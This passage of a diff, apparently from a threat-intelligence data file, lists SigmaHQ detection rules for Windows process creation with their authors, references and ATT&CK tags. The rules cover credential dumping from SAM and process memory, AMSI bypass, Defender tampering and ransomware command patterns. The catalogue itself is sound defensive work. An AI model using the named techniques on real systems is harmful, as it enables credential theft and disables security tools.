"2022/04/06", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_proc_dump_dumpminitool.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/mrd0x/status/1511489821247684615", - "https://twitter.com/mrd0x/status/1511415432888131586?s=20&t=DvVrzeZ1OcGiWowbhPV8Lg", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_proc_dump_dumpminitool.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036", - "attack.t1003.001" - ] - }, - "uuid": "dee0a7a3-f200-4112-a99b-952196d81e42", - "value": "DumpMinitool Usage" - }, - { - "description": "Detects uses of the rdrleakdiag.exe LOLOBIN utility to dump process memory", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/01/04", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_proc_dump_rdrleakdiag.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_proc_dump_rdrleakdiag.yml", - "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036", - "attack.t1003.001" - ] - }, - "uuid": "6355a919-2e97-4285-a673-74645566340d", - "value": "RdrLeakDiag Process Dump" - }, - { - "description": "Detects suspicious ways to use of a Visual Studio bundled tool named DumpMinitool.exe", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/04/06", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_proc_dump_susp_dumpminitool.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/mrd0x/status/1511489821247684615", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_proc_dump_susp_dumpminitool.yml", - "https://twitter.com/mrd0x/status/1511415432888131586" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036", - "attack.t1003.001" - ] - }, - "uuid": "eb1c4225-1c23-4241-8dd4-051389fde4ce", - "value": "Suspicious DumpMinitool Usage" - }, - { - "description": "Detect suspicious parent processes of well-known Windows processes", - "meta": { - "author": "vburov", - "creation_date": "2019/02/23", - "falsepositive": [ - "Some security products seem to spawn these" - ], - "filename": "proc_creation_win_proc_wrong_parent.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://attack.mitre.org/techniques/T1036/", - "https://securitybytes.io/blue-team-fundamentals-part-two-windows-processes-759fe15965e2", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_proc_wrong_parent.yml", - "https://www.carbonblack.com/2014/06/10/screenshot-demo-hunt-evil-faster-than-ever-with-carbon-black/", - "https://www.13cubed.com/downloads/windows_process_genealogy_v2.pdf" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036.003", - "attack.t1036.005" - ] - }, - "uuid": "96036718-71cc-4027-a538-d1587e0006a7", - "value": "Windows Processes Suspicious Parent Directory" - }, - { - "description": "Emulates attack via documents through protocol handler in Microsoft Office. On successful execution you should see Microsoft Word launch a blank file.", - "meta": { - "author": "frack113", - "creation_date": "2021/07/13", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_protocolhandler_susp_file.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_protocolhandler_susp_file.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ] - }, - "uuid": "104cdb48-a7a8-4ca7-a453-32942c6e5dcb", - "value": "ProtocolHandler.exe Downloaded Suspicious File" - }, - { - "description": "Detects the use of the Windows Update Client binary (wuauclt.exe) to proxy execute code.", - "meta": { - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), Florian Roth, Sreeman, FPT.EagleEye Team", - "creation_date": "2020/10/12", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_proxy_execution_wuauclt.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://dtm.uk/wuauclt/", - "https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_proxy_execution_wuauclt.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218", - "attack.execution" - ] - }, - "uuid": "af77cf95-c469-471c-b6a0-946c685c4798", - "value": "Proxy Execution via Wuauclt" - }, - { - "description": "Detects a PsExec service start", - "meta": { - "author": "Florian Roth", - "creation_date": "2018/03/13", - "falsepositive": [ - "Administrative activity" - ], - "filename": "proc_creation_win_psexesvc_start.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_psexesvc_start.yml" - ], - "tags": [ - "attack.execution", - "attack.s0029", - "attack.t1569.002" - ] - }, - "uuid": "3ede524d-21cc-472d-a3ce-d21b568d8db7", - "value": "PsExec Service Start" - }, - { - "description": "Detects attempts to disable AMSI in the command line. It is possible to bypass AMSI by disabling it before loading the main payload.", - "meta": { - "author": "@Kostastsale", - "creation_date": "2022/11/04", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_psh_amsi_bypass_pattern_nov22.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_psh_amsi_bypass_pattern_nov22.yml", - "https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001", - "attack.execution" - ] - }, - "uuid": "4f927692-68b5-4267-871b-073c45f4f6fe", - "value": "PowerShell AMSI Bypass Pattern" - }, - { - "description": "Detects the use of DefenderCheck, a tool to evaluate the signatures used in Microsoft Defender. It can be used to figure out the strings / byte chains used in Microsoft Defender to detect a tool and thus used for AV evasion.", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/08/30", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_pua_defendercheck.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_defendercheck.yml", - "https://github.com/matterpreter/DefenderCheck" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027.005" - ] - }, - "uuid": "f0ca6c24-3225-47d5-b1f5-352bf07ecfa7", - "value": "DefenderCheck Usage" - }, - { - "description": "Detects the execution of the PUA/Recon tool Seatbelt via PE information of command line parameters", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/10/18", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_pua_seatbelt.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.bluetangle.dev/2022/08/fastening-seatbelt-on-threat-hunting.html", - "https://github.com/GhostPack/Seatbelt", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_seatbelt.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1526", - "attack.t1087", - "attack.t1083" - ] - }, - "uuid": "38646daa-e78f-4ace-9de0-55547b2d30da", - "value": "Seatbelt PUA Tool" - }, - { - "description": "This rule detects suspicious processes with parent images located in the C:\\Users\\Public folder", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/02/25", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_public_folder_parent.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_public_folder_parent.yml", - "https://redcanary.com/blog/blackbyte-ransomware/" - ], - "tags": "No established tags" - }, - "uuid": "69bd9b97-2be2-41b6-9816-fb08757a4d1a", - "value": "Parent in Public Folder Suspicious Process" - }, - { - "description": "Detects the execution of the PurpleSharp adversary simulation tool", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/06/18", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_purplesharp_indicators.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/mvelazc0/PurpleSharp", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_purplesharp_indicators.yml" - ], - "tags": [ - "attack.t1587", - "attack.resource_development" - ] - }, - "uuid": "ff23ffbc-3378-435e-992f-0624dcf93ab4", - "value": "PurpleSharp Indicator" - }, - { - "description": "Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through Windows Registry where the SAM database is stored", - "meta": { - "author": "frack113", - "creation_date": "2022/01/05", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_pypykatz.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-2---registry-parse-with-pypykatz", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pypykatz.yml", - "https://github.com/skelsec/pypykatz" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.002" - ] - }, - "uuid": "a29808fd-ef50-49ff-9c7a-59a9b040b404", - "value": "Registry Parse with Pypykatz" - }, - { - "description": "Detects python spawning a pretty tty", - "meta": { - "author": "Nextron Systems", - "creation_date": "2022/06/03", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_python_pty_spawn.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_python_pty_spawn.yml", - "https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/" - ], - "tags": [ - "attack.execution", - "attack.t1059" - ] - }, - "uuid": "480e7e51-e797-47e3-8d72-ebfce65b6d8d", - "value": "Python Spawning Pretty TTY on Windows" - }, - { - "description": "Detects usage of the Quarks PwDump tool via commandline arguments", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/09/05", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_quarks_pwdump.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/quarkslab/quarkspwdump", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/seedworm-apt-iran-middle-east", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_quarks_pwdump.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.002" - ] - }, - "uuid": "0685b176-c816-4837-8e7b-1216f346636b", - "value": "Quarks PwDump Usage" - }, - { - "description": "Adversaries may interact with the Windows Registry to gather information about credentials, the system, configuration, and installed software.", - "meta": { - "author": "Timur Zinniatullin, oscd.community", - "creation_date": "2019/10/21", - "falsepositive": "No established falsepositives", - "filename": "proc_creation_win_query_registry.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1012/T1012.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_query_registry.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1012", - "attack.t1007" - ] - }, - "uuid": "970007b7-ce32-49d0-a4a4-fbef016950bd", - "value": "Query Registry" - }, - { - "description": "Detects usage of \"query.exe\" a system binary to exfil information such as \"sessions\" and \"processes\" for later use", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/01", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_query_session_exfil.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/MichalKoczwara/status/1553634816016498688", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_query_session_exfil.yml" - ], - "tags": [ - "attack.execution" - ] - }, - "uuid": "53ef0cef-fa24-4f25-a34a-6c72dfa2e6e2", - "value": "Query Usage To Exfil Data" - }, - { - "description": "This command line patterns found in BlackByte Ransomware operations", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/02/25", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_ransom_blackbyte.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ransom_blackbyte.yml", - "https://redcanary.com/blog/blackbyte-ransomware/" - ], - "tags": "No established tags" - }, - "uuid": "999e8307-a775-4d5f-addc-4855632335be", - "value": "BlackByte Ransomware Patterns" - }, - { - "description": "Detects commandline containing reference to files ending with a \".\". This scheme has been seen used by raspberry-robin", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/10/28", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_raspberry_robin_single_dot_ending_file.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_raspberry_robin_single_dot_ending_file.yml", - "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/" - ], - "tags": [ - "attack.execution" - ] - }, - "uuid": "a35c97c8-d9c4-4c89-a3e7-533dc0bcb73a", - "value": "Raspberry Robin Dot Ending File" - }, - { - "description": "Detects RDP session hijacking by using MSTSC shadowing", - "meta": { - "author": "Florian Roth", - "creation_date": "2020/01/24", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_rdp_hijack_shadowing.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rdp_hijack_shadowing.yml", - "https://twitter.com/kmkz_security/status/1220694202301976576", - "https://github.com/kmkz/Pentesting/blob/47592e5e160d3b86c2024f09ef04ceb87d204995/Post-Exploitation-Cheat-Sheet" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1563.002" - ] - }, - "uuid": "6ba5a05f-b095-4f0a-8654-b825f4f16334", - "value": "MSTSC Shadowing" - }, - { - "description": "Detects a suspicious output redirection to the local admins share, this technique is often found in malicious scripts or hacktool stagers", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/01/16", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_redirect_local_admin_share.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_redirect_local_admin_share.yml", - "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html" - ], - "tags": "No established tags" - }, - "uuid": "ab9e3b40-0c85-4ba1-aede-455d226fd124", - "value": "Suspicious Redirection to Local Admin Share" - }, - { - "description": "Detects the redirection of an alternate data stream (ADS) of / within a Windows command line session", - "meta": { - "author": "frack113", - "creation_date": "2022/02/04", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_redirect_to_stream.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.004/T1564.004.md#atomic-test-3---create-ads-command-prompt", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_redirect_to_stream.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564.004" - ] - }, - "uuid": "70e68156-6571-427b-a6e9-4476a173a9b6", - "value": "Cmd Stream Redirection" - }, - { - "description": "Detects actions caused by the RedMimicry Winnti playbook", - "meta": { - "author": "Alexander Rausch", - "creation_date": "2020/06/24", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_redmimicry_winnti_proc.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://redmimicry.com", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_redmimicry_winnti_proc.yml" - ], - "tags": [ - "attack.execution", - "attack.defense_evasion", - "attack.t1106", - "attack.t1059.003", - "attack.t1218.011" - ] - }, - "uuid": "95022b85-ff2a-49fa-939a-d7b8f56eeb9b", - "value": "RedMimicry Winnti Playbook Execute" - }, - { - "description": "Detects the export of a crital Registry key to a file.", - "meta": { - "author": "Oddvar Moe, Sander Wiebing, oscd.community", - "creation_date": "2020/10/12", - "falsepositive": [ - "Dumping hives for legitimate purpouse i.e. backup or forensic investigation" - ], - "filename": "proc_creation_win_regedit_export_critical_keys.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Regedit/", - "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regedit_export_critical_keys.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1012" - ] - }, - "uuid": "82880171-b475-4201-b811-e9c826cd5eaa", - "value": "Exports Critical Registry Keys To a File" - }, - { - "description": "Detects the export of the target Registry key to a file.", - "meta": { - "author": "Oddvar Moe, Sander Wiebing, oscd.community", - "creation_date": "2020/10/07", - "falsepositive": [ - "Legitimate export of keys" - ], - "filename": "proc_creation_win_regedit_export_keys.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Regedit/", - "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regedit_export_keys.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1012" - ] - }, - "uuid": "f0e53e89-8d22-46ea-9db5-9d4796ee2f8a", - "value": "Exports Registry Key To a File" - }, - { - "description": "Detects the import of the specified file to the registry with regedit.exe.", - "meta": { - "author": "Oddvar Moe, Sander Wiebing, oscd.community", - "creation_date": "2020/10/07", - "falsepositive": [ - "Legitimate import of keys", - "Evernote" - ], - "filename": "proc_creation_win_regedit_import_keys.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Regedit/", - "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regedit_import_keys.yml" - ], - "tags": [ - "attack.t1112", - "attack.defense_evasion" - ] - }, - "uuid": "73bba97f-a82d-42ce-b315-9182e76c57b1", - "value": "Imports Registry Key From a File" - }, - { - "description": "Detects the import of a alternate datastream to the registry with regedit.exe.", - "meta": { - "author": "Oddvar Moe, Sander Wiebing, oscd.community", - "creation_date": "2020/10/12", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_regedit_import_keys_ads.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Regedit/", - "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regedit_import_keys_ads.yml" - ], - "tags": [ - "attack.t1112", - "attack.defense_evasion" - ] - }, - "uuid": "0b80ade5-6997-4b1d-99a1-71701778ea61", - "value": "Imports Registry Key From an ADS" - }, - { - "description": "Detects the execution of regini.exe which can be used to modify registry keys, the changes are imported from one or more text files.", - "meta": { - "author": "Eli Salem, Sander Wiebing, oscd.community", - "creation_date": "2020/10/08", - "falsepositive": [ - "Legitimate modification of keys" - ], - "filename": "proc_creation_win_regini.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", - "https://lolbas-project.github.io/lolbas/Binaries/Regini/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regini.yml", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/regini" - ], - "tags": [ - "attack.t1112", - "attack.defense_evasion" - ] - }, - "uuid": "5f60740a-f57b-4e76-82a1-15b6ff2cb134", - "value": "Modifies the Registry From a File" - }, - { - "description": "Detects the import of an alternate data stream with regini.exe, regini.exe can be used to modify registry keys.", - "meta": { - "author": "Eli Salem, Sander Wiebing, oscd.community", - "creation_date": "2020/10/12", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_regini_ads.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regini_ads.yml", - "https://lolbas-project.github.io/lolbas/Binaries/Regini/", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/regini" - ], - "tags": [ - "attack.t1112", - "attack.defense_evasion" - ] - }, - "uuid": "77946e79-97f1-45a2-84b4-f37b5c0d8682", - "value": "Modifies the Registry From a ADS" - }, - { - "description": "Detects suspicious command line reg.exe tool adding key to RUN key in Registry", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/06/28", - "falsepositive": [ - "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reasons.", - "Legitimate administrator sets up autorun keys for legitimate reasons.", - "Discord" - ], - "filename": "proc_creation_win_reg_add_run_key.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_add_run_key.yml", - "https://app.any.run/tasks/9c0f37bc-867a-4314-b685-e101566766d7/", - "https://docs.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001" - ] - }, - "uuid": "de587dce-915e-4218-aac4-835ca6af6f70", - "value": "Reg Add RUN Key" - }, - { - "description": "Detects execution of \"reg.exe\" commands with the \"add\" or \"copy\" flags on safe boot registry keys. Often used by attacker to allow the ransomware to work in safe mode as some security products do not", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/09/02", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_reg_add_safeboot.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://redacted.com/blog/bianlian-ransomware-gang-gives-it-a-go/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_add_safeboot.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "d7662ff6-9e97-4596-a61d-9839e32dee8d", - "value": "Add SafeBoot Keys Via Reg Utility" - }, - { - "description": "Qbot used reg.exe to add Defender folder exceptions for folders within AppData and ProgramData.", - "meta": { - "author": "frack113", - "creation_date": "2022/02/13", - "falsepositive": [ - "Legitimate use" - ], - "filename": "proc_creation_win_reg_defender_exclusion.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_defender_exclusion.yml", - "https://redcanary.com/threat-detection-report/threats/qbot/", - "https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "48917adc-a28e-4f5d-b729-11e75da8941f", - "value": "Registry Defender Exclusions" - }, - { - "description": "Detects reg command lines that disable certain important features of Microsoft Defender", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/03/22", - "falsepositive": [ - "Legitimate use" - ], - "filename": "proc_creation_win_reg_defender_tampering.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_defender_tampering.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "452bce90-6fb0-43cc-97a5-affc283139b3", - "value": "Registry Defender Tampering" - }, - { - "description": "Detects execution of \"reg.exe\" commands with the \"delete\" flag on safe boot registry keys. Often used by attacker to prevent safeboot execution of security products", - "meta": { - "author": "Nasreddine Bencherchali, Tim Shelton", - "creation_date": "2022/08/08", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_reg_delete_safeboot.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.trendmicro.com/en_us/research/22/e/avoslocker-ransomware-variant-abuses-driver-file-to-disable-anti-Virus-scans-log4shell.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_delete_safeboot.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "fc0e89b5-adb0-43c1-b749-c12a10ec37de", - "value": "Delete SafeBoot Keys Via Reg Utility" - }, - { - "description": "Detects execution of \"reg.exe\" commands with the \"delete\" flag on services registry key. Often used by attacker to remove AV software services", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/01", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_reg_delete_services.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_delete_services.yml", - "https://www.virustotal.com/gui/file/2bcd5702a7565952c44075ac6fb946c7780526640d1264f692c7664c02c68465" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "05b2aa93-1210-42c8-8d9a-2fcc13b284f5", - "value": "Delete Services Via Reg Utility" - }, - { - "description": "Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through Windows Registry where the SAM database is stored", - "meta": { - "author": "frack113", - "creation_date": "2022/01/05", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_reg_dump_sam.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_dump_sam.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-1---registry-dump-of-sam-creds-and-secrets" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.002" - ] - }, - "uuid": "038cd51c-3ad8-41c5-ba8f-5d1c92f3cc1e", - "value": "Registry Dump of SAM Creds and Secrets" - }, - { - "description": "Detects the execution of reg.exe and subsequent command line arguments for enabling RDP service on the host by tampering with the 'CurrentControlSet\\Control\\Terminal Server' subkeys", - "meta": { - "author": "@Kostastsale, @TheDFIRReport, slightly modified by pH-T", - "creation_date": "2022/02/12", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_reg_enable_rdp.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_enable_rdp.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.lateral_movement", - "attack.t1021.001", - "attack.t1112" - ] - }, - "uuid": "0d5675be-bc88-4172-86d3-1e96a4476536", - "value": "Enabling RDP Service via Reg.exe" - }, - { - "description": "Detects the import of the '.reg' files from suspicious paths using the 'reg.exe' utility", - "meta": { - "author": "frack113, Nasreddine Bencherchali", - "creation_date": "2022/08/01", - "falsepositive": [ - "Legitimate import of keys" - ], - "filename": "proc_creation_win_reg_import_from_suspicious_paths.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_import_from_suspicious_paths.yml", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/reg-import" - ], - "tags": [ - "attack.t1112", - "attack.defense_evasion" - ] - }, - "uuid": "62e0298b-e994-4189-bc87-bc699aa62d97", - "value": "Imports Registry Key From a File Using Reg.exe" - }, - { - "description": "Detects reg command lines that disables PPL on the LSA process", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/03/22", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_reg_lsass_ppl.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_lsass_ppl.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.010" - ] - }, - "uuid": 